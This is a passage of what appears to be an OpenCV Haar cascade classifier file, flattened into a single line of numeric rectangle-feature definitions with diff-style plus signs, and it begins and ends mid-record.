11 1 2 3. + <_> + + <_> + 5 11 3 2 -1. + <_> + 6 11 1 2 3. + <_> + + <_> + 9 4 6 1 -1. + <_> + 11 4 2 1 3. + <_> + + <_> + 0 0 8 3 -1. + <_> + 4 0 4 3 2. + <_> + + <_> + 15 0 2 5 -1. + <_> + 15 0 1 5 2. + <_> + + <_> + 4 1 3 2 -1. + <_> + 5 1 1 2 3. + <_> + + <_> + 7 0 6 15 -1. + <_> + 9 0 2 15 3. + <_> + + <_> + 6 11 3 1 -1. + <_> + 7 11 1 1 3. + <_> + + <_> + 12 0 3 4 -1. + <_> + 13 0 1 4 3. + <_> + + <_> + 5 4 6 1 -1. + <_> + 7 4 2 1 3. + <_> + + <_> + 12 7 3 2 -1. + <_> + 12 8 3 1 2. + <_> + + <_> + 0 1 4 6 -1. + <_> + 0 4 4 3 2. + <_> + + <_> + 12 7 3 2 -1. + <_> + 12 8 3 1 2. + <_> + + <_> + 2 16 3 3 -1. + <_> + 2 17 3 1 3. + <_> + + <_> + 13 8 6 10 -1. + <_> + 16 8 3 5 2. + <_> + 13 13 3 5 2. + <_> + + <_> + 0 9 5 2 -1. + <_> + 0 10 5 1 2. + <_> + + <_> + 12 11 2 2 -1. + <_> + 13 11 1 1 2. + <_> + 12 12 1 1 2. + <_> + + <_> + 3 15 3 3 -1. + <_> + 3 16 3 1 3. + <_> + + <_> + 12 7 3 2 -1. + <_> + 12 8 3 1 2. + <_> + + <_> + 5 7 3 2 -1. + <_> + 5 8 3 1 2. + <_> + + <_> + 9 5 9 9 -1. + <_> + 9 8 9 3 3. + <_> + + <_> + 5 0 3 7 -1. + <_> + 6 0 1 7 3. + <_> + + <_> + 5 2 12 5 -1. + <_> + 9 2 4 5 3. + <_> + + <_> + 6 11 2 2 -1. + <_> + 6 11 1 1 2. + <_> + 7 12 1 1 2. + <_> + + <_> + 15 15 3 2 -1. + <_> + 15 16 3 1 2. + <_> + + <_> + 2 15 3 2 -1. + <_> + 2 16 3 1 2. + <_> + + <_> + 14 12 6 8 -1. + <_> + 17 12 3 4 2. + <_> + 14 16 3 4 2. + <_> + + <_> + 2 8 15 6 -1. + <_> + 7 8 5 6 3. + <_> + + <_> + 2 2 18 17 -1. + <_> + 8 2 6 17 3. + <_> + + <_> + 5 1 4 1 -1. + <_> + 7 1 2 1 2. + <_> + + <_> + 5 2 12 5 -1. + <_> + 9 2 4 5 3. + <_> + + <_> + 3 2 12 5 -1. + <_> + 7 2 4 5 3. + <_> + + <_> + 4 9 12 4 -1. + <_> + 10 9 6 2 2. + <_> + 4 11 6 2 2. + <_> + + <_> + 5 15 6 2 -1. + <_> + 5 15 3 1 2. + <_> + 8 16 3 1 2. + <_> + + <_> + 10 14 2 3 -1. + <_> + 10 15 2 1 3. + <_> + + <_> + 0 13 20 2 -1. + <_> + 0 13 10 1 2. + <_> + 10 14 10 1 2. + <_> + + <_> + 4 9 12 8 -1. + <_> + 10 9 6 4 2. + <_> + 4 13 6 4 2. + <_> + + <_> + 8 13 3 6 -1. + <_> + 8 16 3 3 2. + <_> + + <_> + 10 12 2 2 -1. + <_> + 10 13 2 1 2. + <_> + + <_> + 9 12 2 2 -1. + <_> + 9 12 1 1 2. + <_> + 10 13 1 1 2. + <_> + + <_> + 4 11 14 4 -1. + <_> + 11 11 7 2 2. + <_> + 4 13 7 2 2. + <_> + + <_> + 8 5 4 2 -1. + <_> + 8 6 4 1 2. + <_> + + <_> + 10 10 6 3 -1. + <_> + 12 10 2 3 3. + <_> + + <_> + 2 14 1 2 -1. + <_> + 2 15 1 1 2. + <_> + + <_> + 13 8 6 12 -1. + <_> + 16 8 3 6 2. + <_> + 13 14 3 6 2. + <_> + + <_> + 1 8 6 12 -1. + <_> + 1 8 3 6 2. + <_> + 4 14 3 6 2. + <_> + + <_> + 10 0 6 10 -1. + <_> + 12 0 2 10 3. + <_> + + <_> + 5 11 8 4 -1. + <_> + 5 11 4 2 2. + <_> + 9 13 4 2 2. + <_> + + <_> + 10 16 8 4 -1. + <_> + 14 16 4 2 2. + <_> + 10 18 4 2 2. + <_> + + <_> + 7 7 6 6 -1. + <_> + 9 7 2 6 3. + <_> + + <_> + 10 2 4 10 -1. + <_> + 10 2 2 10 2. + <_> + + <_> + 6 1 4 9 -1. + <_> + 8 1 2 9 2. + <_> + + <_> + 12 19 2 1 -1. + <_> + 12 19 1 1 2. + <_> + + <_> + 1 2 4 9 -1. + <_> + 3 2 2 9 2. + <_> + + <_> + 7 5 6 4 -1. + <_> + 9 5 2 4 3. + <_> + + <_> + 9 4 2 4 -1. + <_> + 9 6 2 2 2. + <_> + + <_> + 14 5 2 8 -1. + <_> + 14 9 2 4 2. + <_> + + <_> + 7 6 5 12 -1. + <_> + 7 12 5 6 2. + <_> + + <_> + 14 6 2 6 -1. + <_> + 14 9 2 3 2. + <_> + + <_> + 4 6 2 6 -1. + <_> + 4 9 2 3 2. + <_> + + <_> + 8 15 10 4 -1. + <_> + 13 15 5 2 2. + <_> + 8 17 5 2 2. + <_> + + <_> + 6 18 2 2 -1. + <_> + 7 18 1 2 2. + <_> + + <_> + 11 3 6 2 -1. + <_> + 11 4 6 1 2. + <_> + + <_> + 2 0 16 6 -1. + <_> + 2 2 16 2 3. + <_> + + <_> + 11 3 6 2 -1. + <_> + 11 4 6 1 2. + <_> + + <_> + 4 11 10 3 -1. + <_> + 4 12 10 1 3. + <_> + + <_> + 11 3 6 2 -1. + <_> + 11 4 6 1 2. + <_> + + <_> + 3 3 6 2 -1. + <_> + 3 4 6 1 2. + <_> + + <_> + 16 0 4 7 -1. + <_> + 16 0 2 7 2. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 9 16 3 3 -1. + <_> + 9 17 3 1 3. + <_> + + <_> + 4 6 6 2 -1. + <_> + 6 6 2 2 3. + <_> + + <_> + 15 11 1 3 -1. + <_> + 15 12 1 1 3. + <_> + + <_> + 5 5 2 3 -1. + <_> + 5 6 2 1 3. + <_> + + <_> + 10 9 2 2 -1. + <_> + 10 10 2 1 2. + <_> + + <_> + 3 1 4 3 -1. + <_> + 5 1 2 3 2. + <_> + + <_> + 16 0 4 7 -1. + <_> + 16 0 2 7 2. + <_> + + <_> + 0 0 20 1 -1. + <_> + 10 0 10 1 2. + <_> + + <_> + 15 11 1 3 -1. + <_> + 15 12 1 1 3. + <_> + + <_> + 0 4 3 4 -1. + <_> + 1 4 1 4 3. + <_> + + <_> + 16 3 3 6 -1. + <_> + 16 5 3 2 3. + <_> + + <_> + 1 3 3 6 -1. + <_> + 1 5 3 2 3. + <_> + + <_> + 6 2 12 6 -1. + <_> + 12 2 6 3 2. + <_> + 6 5 6 3 2. + <_> + + <_> + 8 10 4 3 -1. + <_> + 8 11 4 1 3. + <_> + + <_> + 4 2 14 6 -1. + <_> + 11 2 7 3 2. + <_> + 4 5 7 3 2. + <_> + + <_> + 9 11 2 3 -1. + <_> + 9 12 2 1 3. + <_> + + <_> + 15 13 2 3 -1. + <_> + 15 14 2 1 3. + <_> + + <_> + 8 12 4 3 -1. + <_> + 8 13 4 1 3. + <_> + + <_> + 15 11 1 3 -1. + <_> + 15 12 1 1 3. + <_> + + <_> + 7 13 5 2 -1. + <_> + 7 14 5 1 2. + <_> + + <_> + 7 12 6 3 -1. + <_> + 7 13 6 1 3. + <_> + + <_> + 5 11 4 4 -1. + <_> + 5 13 4 2 2. + <_> + + <_> + 11 4 3 3 -1. + <_> + 12 4 1 3 3. + <_> + + <_> + 6 4 3 3 -1. + <_> + 7 4 1 3 3. + <_> + + <_> + 16 5 3 6 -1. + <_> + 17 5 1 6 3. + <_> + + <_> + 3 6 12 7 -1. + <_> + 7 6 4 7 3. + <_> + + <_> + 16 5 3 6 -1. + <_> + 17 5 1 6 3. + <_> + + <_> + 3 13 2 3 -1. + <_> + 3 14 2 1 3. + <_> + + <_> + 16 5 3 6 -1. + <_> + 17 5 1 6 3. + <_> + + <_> + 1 5 3 6 -1. + <_> + 2 5 1 6 3. + <_> + + <_> + 1 9 18 1 -1. + <_> + 7 9 6 1 3. + <_> + + <_> + 0 9 8 7 -1. + <_> + 4 9 4 7 2. + <_> + + <_> + 12 11 8 2 -1. + <_> + 12 12 8 1 2. + <_> + + <_> + 0 11 8 2 -1. + <_> + 0 12 8 1 2. + <_> + + <_> + 9 13 2 3 -1. + <_> + 9 14 2 1 3. + <_> + + <_> + 4 10 12 4 -1. + <_> + 4 10 6 2 2. + <_> + 10 12 6 2 2. + <_> + + <_> + 9 3 3 7 -1. + <_> + 10 3 1 7 3. + <_> + + <_> + 7 2 3 5 -1. + <_> + 8 2 1 5 3. + <_> + + <_> + 9 12 4 6 -1. + <_> + 11 12 2 3 2. + <_> + 9 15 2 3 2. + <_> + + <_> + 8 7 3 6 -1. + <_> + 9 7 1 6 3. + <_> + + <_> + 15 4 4 2 -1. + <_> + 15 5 4 1 2. + <_> + + <_> + 8 7 3 3 -1. + <_> + 9 7 1 3 3. + <_> + + <_> + 14 2 6 4 -1. + <_> + 14 4 6 2 2. + <_> + + <_> + 7 16 6 1 -1. + <_> + 9 16 2 1 3. + <_> + + <_> + 15 13 2 3 -1. + <_> + 15 14 2 1 3. + <_> + + <_> + 8 7 3 10 -1. + <_> + 9 7 1 10 3. + <_> + + <_> + 11 10 2 6 -1. + <_> + 11 12 2 2 3. + <_> + + <_> + 6 10 4 1 -1. + <_> + 8 10 2 1 2. + <_> + + <_> + 10 9 2 2 -1. + <_> + 10 10 2 1 2. + <_> + + <_> + 8 9 2 2 -1. + <_> + 8 10 2 1 2. + <_> + + <_> + 12 7 2 2 -1. + <_> + 13 7 1 1 2. + <_> + 12 8 1 1 2. + <_> + + <_> + 5 7 2 2 -1. + <_> + 5 7 1 1 2. + <_> + 6 8 1 1 2. + <_> + + <_> + 13 0 3 14 -1. + <_> + 14 0 1 14 3. + <_> + + <_> + 4 0 3 14 -1. + <_> + 5 0 1 14 3. + <_> + + <_> + 13 4 3 14 -1. + <_> + 14 4 1 14 3. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 4 2 3 16 -1. + <_> + 5 2 1 16 3. + <_> + + <_> + 7 2 8 10 -1. + <_> + 7 7 8 5 2. + <_> + + <_> + 6 14 7 3 -1. + <_> + 6 15 7 1 3. + <_> + + <_> + 9 2 10 12 -1. + <_> + 14 2 5 6 2. + <_> + 9 8 5 6 2. + <_> + + <_> + 6 7 8 2 -1. + <_> + 6 8 8 1 2. + <_> + + <_> + 8 13 4 6 -1. + <_> + 8 16 4 3 2. + <_> + + <_> + 6 6 1 3 -1. + <_> + 6 7 1 1 3. + <_> + + <_> + 16 2 4 6 -1. + <_> + 16 4 4 2 3. + <_> + + <_> + 6 6 4 2 -1. + <_> + 6 6 2 1 2. + <_> + 8 7 2 1 2. + <_> + + <_> + 16 2 4 6 -1. + <_> + 16 4 4 2 3. + <_> + + <_> + 0 2 4 6 -1. + <_> + 0 4 4 2 3. + <_> + + <_> + 9 6 2 6 -1. + <_> + 9 6 1 6 2. + <_> + + <_> + 3 4 6 10 -1. + <_> + 3 9 6 5 2. + <_> + + <_> + 9 5 2 6 -1. + <_> + 9 5 1 6 2. + <_> + + <_> + 3 13 2 3 -1. + <_> + 3 14 2 1 3. + <_> + + <_> + 13 13 3 2 -1. + <_> + 13 14 3 1 2. + <_> + + <_> + 2 16 10 4 -1. + <_> + 2 16 5 2 2. + <_> + 7 18 5 2 2. + <_> + + <_> + 5 6 10 6 -1. + <_> + 10 6 5 3 2. + <_> + 5 9 5 3 2. + <_> + + <_> + 7 14 1 3 -1. + <_> + 7 15 1 1 3. + <_> + + <_> + 14 16 6 3 -1. + <_> + 14 17 6 1 3. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 7 4 10 3 -1. + <_> + 7 5 10 1 3. + <_> + + <_> + 0 4 5 4 -1. + <_> + 0 6 5 2 2. + <_> + + <_> + 13 11 3 9 -1. + <_> + 13 14 3 3 3. + <_> + + <_> + 4 11 3 9 -1. + <_> + 4 14 3 3 3. + <_> + + <_> + 9 7 2 1 -1. + <_> + 9 7 1 1 2. + <_> + + <_> + 5 0 6 17 -1. + <_> + 7 0 2 17 3. + <_> + + <_> + 10 3 6 3 -1. + <_> + 10 3 3 3 2. + <_> + + <_> + 2 2 15 4 -1. + <_> + 7 2 5 4 3. + <_> + + <_> + 8 2 8 2 -1. + <_> + 12 2 4 1 2. + <_> + 8 3 4 1 2. + <_> + + <_> + 8 1 3 6 -1. + <_> + 8 3 3 2 3. + <_> + + <_> + 9 17 2 2 -1. + <_> + 9 18 2 1 2. + <_> + + <_> + 0 0 2 14 -1. + <_> + 1 0 1 14 2. + <_> + + <_> + 12 0 7 3 -1. + <_> + 12 1 7 1 3. + <_> + + <_> + 1 14 1 2 -1. + <_> + 1 15 1 1 2. + <_> + + <_> + 14 12 2 8 -1. + <_> + 15 12 1 4 2. + <_> + 14 16 1 4 2. + <_> + + <_> + 1 0 7 3 -1. + <_> + 1 1 7 1 3. + <_> + + <_> + 14 12 2 8 -1. + <_> + 15 12 1 4 2. + <_> + 14 16 1 4 2. + <_> + + <_> + 6 0 8 12 -1. + <_> + 6 0 4 6 2. + <_> + 10 6 4 6 2. + <_> + + <_> + 6 1 8 9 -1. + <_> + 6 4 8 3 3. + <_> + + <_> + 5 2 2 2 -1. + <_> + 5 3 2 1 2. + <_> + + <_> + 13 14 6 6 -1. + <_> + 16 14 3 3 2. + <_> + 13 17 3 3 2. + <_> + + <_> + 0 17 20 2 -1. + <_> + 0 17 10 1 2. + <_> + 10 18 10 1 2. + <_> + + <_> + 10 3 2 6 -1. + <_> + 11 3 1 3 2. + <_> + 10 6 1 3 2. + <_> + + <_> + 5 12 6 2 -1. + <_> + 8 12 3 2 2. + <_> + + <_> + 10 7 6 13 -1. + <_> + 10 7 3 13 2. + <_> + + <_> + 5 15 10 5 -1. + <_> + 10 15 5 5 2. + <_> + + <_> + 10 4 4 10 -1. + <_> + 10 4 2 10 2. + <_> + + <_> + 5 7 2 1 -1. + <_> + 6 7 1 1 2. + <_> + + <_> + 10 3 6 7 -1. + <_> + 10 3 3 7 2. + <_> + + <_> + 4 3 6 7 -1. + <_> + 7 3 3 7 2. + <_> + + <_> + 1 7 18 5 -1. + <_> + 7 7 6 5 3. + <_> + + <_> + 3 17 4 3 -1. + <_> + 5 17 2 3 2. + <_> + + <_> + 8 14 12 6 -1. + <_> + 14 14 6 3 2. + <_> + 8 17 6 3 2. + <_> + + <_> + 0 13 20 4 -1. + <_> + 0 13 10 2 2. + <_> + 10 15 10 2 2. + <_> + + <_> + 4 5 14 2 -1. + <_> + 11 5 7 1 2. + <_> + 4 6 7 1 2. + <_> + + <_> + 1 2 10 12 -1. + <_> + 1 2 5 6 2. + <_> + 6 8 5 6 2. + <_> + + <_> + 6 1 14 3 -1. + <_> + 6 2 14 1 3. + <_> + + <_> + 8 16 2 3 -1. + <_> + 8 17 2 1 3. + <_> + + <_> + 9 17 3 2 -1. + <_> + 10 17 1 2 3. + <_> + + <_> + 5 15 4 2 -1. + <_> + 5 15 2 1 2. + <_> + 7 16 2 1 2. + <_> + + <_> + 10 15 1 3 -1. + <_> + 10 16 1 1 3. + <_> + + <_> + 8 16 4 4 -1. + <_> + 8 16 2 2 2. + <_> + 10 18 2 2 2. + <_> + + <_> + 6 11 8 6 -1. + <_> + 6 14 8 3 2. + <_> + + <_> + 2 13 5 2 -1. + <_> + 2 14 5 1 2. + <_> + + <_> + 13 14 6 6 -1. + <_> + 16 14 3 3 2. + <_> + 13 17 3 3 2. + <_> + + <_> + 1 9 18 4 -1. + <_> + 7 9 6 4 3. + <_> + + <_> + 13 14 6 6 -1. + <_> + 16 14 3 3 2. + <_> + 13 17 3 3 2. + <_> + + <_> + 0 2 1 6 -1. + <_> + 0 4 1 2 3. + <_> + + <_> + 5 0 15 20 -1. + <_> + 5 10 15 10 2. + <_> + + <_> + 1 14 6 6 -1. + <_> + 1 14 3 3 2. + <_> + 4 17 3 3 2. + <_> + + <_> + 8 14 4 6 -1. + <_> + 10 14 2 3 2. + <_> + 8 17 2 3 2. + <_> + + <_> + 7 11 2 1 -1. + <_> + 8 11 1 1 2. + <_> + + <_> + 9 17 3 2 -1. + <_> + 10 17 1 2 3. + <_> + + <_> + 8 17 3 2 -1. + <_> + 9 17 1 2 3. + <_> + + <_> + 12 14 4 6 -1. + <_> + 14 14 2 3 2. + <_> + 12 17 2 3 2. + <_> + + <_> + 4 14 4 6 -1. + <_> + 4 14 2 3 2. + <_> + 6 17 2 3 2. + <_> + + <_> + 13 14 2 6 -1. + <_> + 14 14 1 3 2. + <_> + 13 17 1 3 2. + <_> + + <_> + 5 14 2 6 -1. + <_> + 5 14 1 3 2. + <_> + 6 17 1 3 2. + <_> + + <_> + 7 0 6 12 -1. + <_> + 7 4 6 4 3. + <_> + + <_> + 0 7 12 2 -1. + <_> + 4 7 4 2 3. + <_> + + <_> + 10 3 3 13 -1. + <_> + 11 3 1 13 3. + <_> + + <_> + 7 3 3 13 -1. + <_> + 8 3 1 13 3. + <_> + + <_> + 10 8 6 3 -1. + <_> + 10 9 6 1 3. + <_> + + <_> + 3 11 3 2 -1. + <_> + 4 11 1 2 3. + <_> + + <_> + 13 12 6 8 -1. + <_> + 16 12 3 4 2. + <_> + 13 16 3 4 2. + <_> + + <_> + 7 6 6 5 -1. + <_> + 9 6 2 5 3. + <_> + + <_> + 17 11 2 7 -1. + <_> + 17 11 1 7 2. + <_> + + <_> + 3 13 8 2 -1. + <_> + 7 13 4 2 2. + <_> + + <_> + 6 9 8 3 -1. + <_> + 6 10 8 1 3. + <_> + + <_> + 4 3 4 3 -1. + <_> + 4 4 4 1 3. + <_> + + <_> + 11 3 4 3 -1. + <_> + 11 4 4 1 3. + <_> + + <_> + 1 4 17 12 -1. + <_> + 1 8 17 4 3. + <_> + + <_> + 11 3 4 3 -1. + <_> + 11 4 4 1 3. + <_> + + <_> + 4 8 6 3 -1. + <_> + 4 9 6 1 3. + <_> + + <_> + 12 3 5 3 -1. + <_> + 12 4 5 1 3. + <_> + + <_> + 1 11 2 7 -1. + <_> + 2 11 1 7 2. + <_> + + <_> + 15 12 2 8 -1. + <_> + 16 12 1 4 2. + <_> + 15 16 1 4 2. + <_> + + <_> + 4 8 11 3 -1. + <_> + 4 9 11 1 3. + <_> + + <_> + 9 13 6 2 -1. + <_> + 12 13 3 1 2. + <_> + 9 14 3 1 2. + <_> + + <_> + 6 13 4 3 -1. + <_> + 6 14 4 1 3. + <_> + + <_> + 9 12 3 3 -1. + <_> + 10 12 1 3 3. + <_> + + <_> + 5 3 3 3 -1. + <_> + 5 4 3 1 3. + <_> + + <_> + 9 4 2 3 -1. + <_> + 9 5 2 1 3. + <_> + + <_> + 0 2 16 3 -1. + <_> + 0 3 16 1 3. + <_> + + <_> + 15 12 2 8 -1. + <_> + 16 12 1 4 2. + <_> + 15 16 1 4 2. + <_> + + <_> + 3 12 2 8 -1. + <_> + 3 12 1 4 2. + <_> + 4 16 1 4 2. + <_> + + <_> + 14 13 3 6 -1. + <_> + 14 15 3 2 3. + <_> + + <_> + 3 13 3 6 -1. + <_> + 3 15 3 2 3. + <_> + + <_> + 6 5 10 2 -1. + <_> + 11 5 5 1 2. + <_> + 6 6 5 1 2. + <_> + + <_> + 2 14 14 6 -1. + <_> + 2 17 14 3 2. + <_> + + <_> + 10 14 1 3 -1. + <_> + 10 15 1 1 3. + <_> + + <_> + 4 16 2 2 -1. + <_> + 4 16 1 1 2. + <_> + 5 17 1 1 2. + <_> + + <_> + 10 6 2 3 -1. + <_> + 10 7 2 1 3. + <_> + + <_> + 0 17 20 2 -1. + <_> + 0 17 10 1 2. + <_> + 10 18 10 1 2. + <_> + + <_> + 13 6 1 3 -1. + <_> + 13 7 1 1 3. + <_> + + <_> + 8 13 3 2 -1. + <_> + 9 13 1 2 3. + <_> + + <_> + 12 2 3 3 -1. + <_> + 13 2 1 3 3. + <_> + + <_> + 3 18 2 2 -1. + <_> + 3 18 1 1 2. + <_> + 4 19 1 1 2. + <_> + + <_> + 9 16 3 4 -1. + <_> + 10 16 1 4 3. + <_> + + <_> + 6 6 1 3 -1. + <_> + 6 7 1 1 3. + <_> + + <_> + 13 1 5 2 -1. + <_> + 13 2 5 1 2. + <_> + + <_> + 7 14 6 2 -1. + <_> + 7 14 3 1 2. + <_> + 10 15 3 1 2. + <_> + + <_> + 11 3 3 4 -1. + <_> + 12 3 1 4 3. + <_> + + <_> + 1 13 12 6 -1. + <_> + 5 13 4 6 3. + <_> + + <_> + 14 11 5 2 -1. + <_> + 14 12 5 1 2. + <_> + + <_> + 2 15 14 4 -1. + <_> + 2 15 7 2 2. + <_> + 9 17 7 2 2. + <_> + + <_> + 3 7 14 2 -1. + <_> + 10 7 7 1 2. + <_> + 3 8 7 1 2. + <_> + + <_> + 1 11 4 2 -1. + <_> + 1 12 4 1 2. + <_> + + <_> + 14 0 6 14 -1. + <_> + 16 0 2 14 3. + <_> + + <_> + 4 11 1 3 -1. + <_> + 4 12 1 1 3. + <_> + + <_> + 14 0 6 14 -1. + <_> + 16 0 2 14 3. + <_> + + <_> + 1 10 3 7 -1. + <_> + 2 10 1 7 3. + <_> + + <_> + 8 12 9 2 -1. + <_> + 8 13 9 1 2. + <_> + + <_> + 0 6 20 1 -1. + <_> + 10 6 10 1 2. + <_> + + <_> + 8 4 4 4 -1. + <_> + 8 4 2 4 2. + <_> + + <_> + 0 0 2 2 -1. + <_> + 0 1 2 1 2. + <_> + + <_> + 5 3 10 9 -1. + <_> + 5 6 10 3 3. + <_> + + <_> + 15 2 4 10 -1. + <_> + 15 2 2 10 2. + <_> + + <_> + 8 2 2 7 -1. + <_> + 9 2 1 7 2. + <_> + + <_> + 7 4 12 1 -1. + <_> + 11 4 4 1 3. + <_> + + <_> + 3 4 9 1 -1. + <_> + 6 4 3 1 3. + <_> + + <_> + 15 10 1 4 -1. + <_> + 15 12 1 2 2. + <_> + + <_> + 4 10 6 4 -1. + <_> + 7 10 3 4 2. + <_> + + <_> + 15 9 1 6 -1. + <_> + 15 12 1 3 2. + <_> + + <_> + 7 17 6 3 -1. + <_> + 7 18 6 1 3. + <_> + + <_> + 14 3 2 16 -1. + <_> + 15 3 1 8 2. + <_> + 14 11 1 8 2. + <_> + + <_> + 4 9 1 6 -1. + <_> + 4 12 1 3 2. + <_> + + <_> + 12 1 5 2 -1. + <_> + 12 2 5 1 2. + <_> + + <_> + 6 18 4 2 -1. + <_> + 6 18 2 1 2. + <_> + 8 19 2 1 2. + <_> + + <_> + 2 4 16 10 -1. + <_> + 10 4 8 5 2. + <_> + 2 9 8 5 2. + <_> + + <_> + 6 5 1 10 -1. + <_> + 6 10 1 5 2. + <_> + + <_> + 4 8 15 2 -1. + <_> + 9 8 5 2 3. + <_> + + <_> + 1 8 15 2 -1. + <_> + 6 8 5 2 3. + <_> + + <_> + 9 5 3 6 -1. + <_> + 9 7 3 2 3. + <_> + + <_> + 5 7 8 2 -1. + <_> + 9 7 4 2 2. + <_> + + <_> + 9 11 2 3 -1. + <_> + 9 12 2 1 3. + <_> + + <_> + 1 0 16 3 -1. + <_> + 1 1 16 1 3. + <_> + + <_> + 11 2 7 2 -1. + <_> + 11 3 7 1 2. + <_> + + <_> + 5 1 10 18 -1. + <_> + 5 7 10 6 3. + <_> + + <_> + 17 4 3 2 -1. + <_> + 18 4 1 2 3. + <_> + + <_> + 8 13 1 3 -1. + <_> + 8 14 1 1 3. + <_> + + <_> + 3 14 14 6 -1. + <_> + 3 16 14 2 3. + <_> + + <_> + 0 2 3 4 -1. + <_> + 1 2 1 4 3. + <_> + + <_> + 12 1 5 2 -1. + <_> + 12 2 5 1 2. + <_> + + <_> + 3 1 5 2 -1. + <_> + 3 2 5 1 2. + <_> + + <_> + 10 13 2 3 -1. + <_> + 10 14 2 1 3. + <_> + + <_> + 8 13 2 3 -1. + <_> + 8 14 2 1 3. + <_> + + <_> + 14 12 2 3 -1. + <_> + 14 13 2 1 3. + <_> + + <_> + 7 2 2 3 -1. + <_> + 7 3 2 1 3. + <_> + + <_> + 5 6 10 4 -1. + <_> + 10 6 5 2 2. + <_> + 5 8 5 2 2. + <_> + + <_> + 9 13 1 6 -1. + <_> + 9 16 1 3 2. + <_> + + <_> + 10 12 2 2 -1. + <_> + 11 12 1 1 2. + <_> + 10 13 1 1 2. + <_> + + <_> + 4 12 2 3 -1. + <_> + 4 13 2 1 3. + <_> + + <_> + 14 4 6 6 -1. + <_> + 14 6 6 2 3. + <_> + + <_> + 8 17 2 3 -1. + <_> + 8 18 2 1 3. + <_> + + <_> + 16 4 4 6 -1. + <_> + 16 6 4 2 3. + <_> + + <_> + 0 4 4 6 -1. + <_> + 0 6 4 2 3. + <_> + + <_> + 14 6 2 3 -1. + <_> + 14 6 1 3 2. + <_> + + <_> + 4 9 8 1 -1. + <_> + 8 9 4 1 2. + <_> + + <_> + 8 12 4 3 -1. + <_> + 8 13 4 1 3. + <_> + + <_> + 5 12 10 6 -1. + <_> + 5 14 10 2 3. + <_> + + <_> + 11 12 1 2 -1. + <_> + 11 13 1 1 2. + <_> + + <_> + 8 15 4 2 -1. + <_> + 8 16 4 1 2. + <_> + + <_> + 6 9 8 8 -1. + <_> + 10 9 4 4 2. + <_> + 6 13 4 4 2. + <_> + + <_> + 7 12 4 6 -1. + <_> + 7 12 2 3 2. + <_> + 9 15 2 3 2. + <_> + + <_> + 10 11 3 1 -1. + <_> + 11 11 1 1 3. + <_> + + <_> + 9 7 2 10 -1. + <_> + 9 7 1 5 2. + <_> + 10 12 1 5 2. + <_> + + <_> + 8 0 6 6 -1. + <_> + 10 0 2 6 3. + <_> + + <_> + 3 11 2 6 -1. + <_> + 3 13 2 2 3. + <_> + + <_> + 16 12 1 2 -1. + <_> + 16 13 1 1 2. + <_> + + <_> + 1 14 6 6 -1. + <_> + 1 14 3 3 2. + <_> + 4 17 3 3 2. + <_> + + <_> + 13 1 3 6 -1. + <_> + 14 1 1 6 3. + <_> + + <_> + 8 8 2 2 -1. + <_> + 8 9 2 1 2. + <_> + + <_> + 9 9 3 3 -1. + <_> + 10 9 1 3 3. + <_> + + <_> + 8 7 3 3 -1. + <_> + 8 8 3 1 3. + <_> + + <_> + 14 0 2 3 -1. + <_> + 14 0 1 3 2. + <_> + + <_> + 1 0 18 9 -1. + <_> + 7 0 6 9 3. + <_> + + <_> + 11 5 4 15 -1. + <_> + 11 5 2 15 2. + <_> + + <_> + 5 5 4 15 -1. + <_> + 7 5 2 15 2. + <_> + + <_> + 14 0 2 3 -1. + <_> + 14 0 1 3 2. + <_> + + <_> + 4 0 2 3 -1. + <_> + 5 0 1 3 2. + <_> + + <_> + 11 12 2 2 -1. + <_> + 12 12 1 1 2. + <_> + 11 13 1 1 2. + <_> + + <_> + 7 12 2 2 -1. + <_> + 7 12 1 1 2. + <_> + 8 13 1 1 2. + <_> + + <_> + 12 0 3 4 -1. + <_> + 13 0 1 4 3. + <_> + + <_> + 4 11 3 3 -1. + <_> + 4 12 3 1 3. + <_> + + <_> + 12 7 4 2 -1. + <_> + 12 8 4 1 2. + <_> + + <_> + 8 10 3 2 -1. + <_> + 9 10 1 2 3. + <_> + + <_> + 9 9 3 2 -1. + <_> + 10 9 1 2 3. + <_> + + <_> + 8 9 3 2 -1. + <_> + 9 9 1 2 3. + <_> + + <_> + 12 0 3 4 -1. + <_> + 13 0 1 4 3. + <_> + + <_> + 5 0 3 4 -1. + <_> + 6 0 1 4 3. + <_> + + <_> + 4 14 12 4 -1. + <_> + 10 14 6 2 2. + <_> + 4 16 6 2 2. + <_> + + <_> + 8 13 2 3 -1. + <_> + 8 14 2 1 3. + <_> + + <_> + 10 10 3 8 -1. + <_> + 10 14 3 4 2. + <_> + + <_> + 8 10 4 8 -1. + <_> + 8 10 2 4 2. + <_> + 10 14 2 4 2. + <_> + + <_> + 10 8 3 1 -1. + <_> + 11 8 1 1 3. + <_> + + <_> + 9 12 1 6 -1. + <_> + 9 15 1 3 2. + <_> + + <_> + 10 8 3 1 -1. + <_> + 11 8 1 1 3. + <_> + + <_> + 7 8 3 1 -1. + <_> + 8 8 1 1 3. + <_> + + <_> + 5 2 15 14 -1. + <_> + 5 9 15 7 2. + <_> + + <_> + 2 1 2 10 -1. + <_> + 2 1 1 5 2. + <_> + 3 6 1 5 2. + <_> + + <_> + 14 14 2 3 -1. + <_> + 14 15 2 1 3. + <_> + + <_> + 2 7 3 3 -1. + <_> + 3 7 1 3 3. + <_> + + <_> + 17 4 3 3 -1. + <_> + 17 5 3 1 3. + <_> + + <_> + 0 4 3 3 -1. + <_> + 0 5 3 1 3. + <_> + + <_> + 13 5 6 2 -1. + <_> + 16 5 3 1 2. + <_> + 13 6 3 1 2. + <_> + + <_> + 4 19 12 1 -1. + <_> + 8 19 4 1 3. + <_> + + <_> + 12 12 2 4 -1. + <_> + 12 14 2 2 2. + <_> + + <_> + 3 15 1 3 -1. + <_> + 3 16 1 1 3. + <_> + + <_> + 11 16 6 4 -1. + <_> + 11 16 3 4 2. + <_> + + <_> + 2 10 3 10 -1. + <_> + 3 10 1 10 3. + <_> + + <_> + 12 8 2 4 -1. + <_> + 12 8 1 4 2. + <_> + + <_> + 6 8 2 4 -1. + <_> + 7 8 1 4 2. + <_> + + <_> + 10 14 2 3 -1. + <_> + 10 14 1 3 2. + <_> + + <_> + 5 1 10 3 -1. + <_> + 10 1 5 3 2. + <_> + + <_> + 10 7 3 2 -1. + <_> + 11 7 1 2 3. + <_> + + <_> + 5 6 9 2 -1. + <_> + 8 